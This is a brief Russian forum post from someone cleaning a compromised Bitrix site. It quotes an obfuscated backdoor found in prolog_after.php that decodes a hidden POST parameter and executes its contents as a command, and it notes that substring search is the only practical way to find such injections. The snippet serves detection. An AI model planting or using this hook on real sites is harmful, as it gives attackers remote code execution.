вот еще bitrix/modules/main/include/prolog_after.php[CODE]define("BX_CONTROLLER_CLIENT_X", base64_decode("QlhfVE9LRU4="));if(isset($_POST[BX_CONTROLLER_CLIENT_X]) && !empty($_POST[BX_CONTROLLER_CLIENT_X])){
$APPLICATION->RestartBuffer();
CControllerClient::RunCommand(hex2bin(str_rot13($_POST[BX_CONTROLLER_CLIENT_X])), 0, 0);
die();
}
[/CODE]и таких мест может быть миллион
выше был способ поиска по подстроке, похоже единственно реальный метод сейчас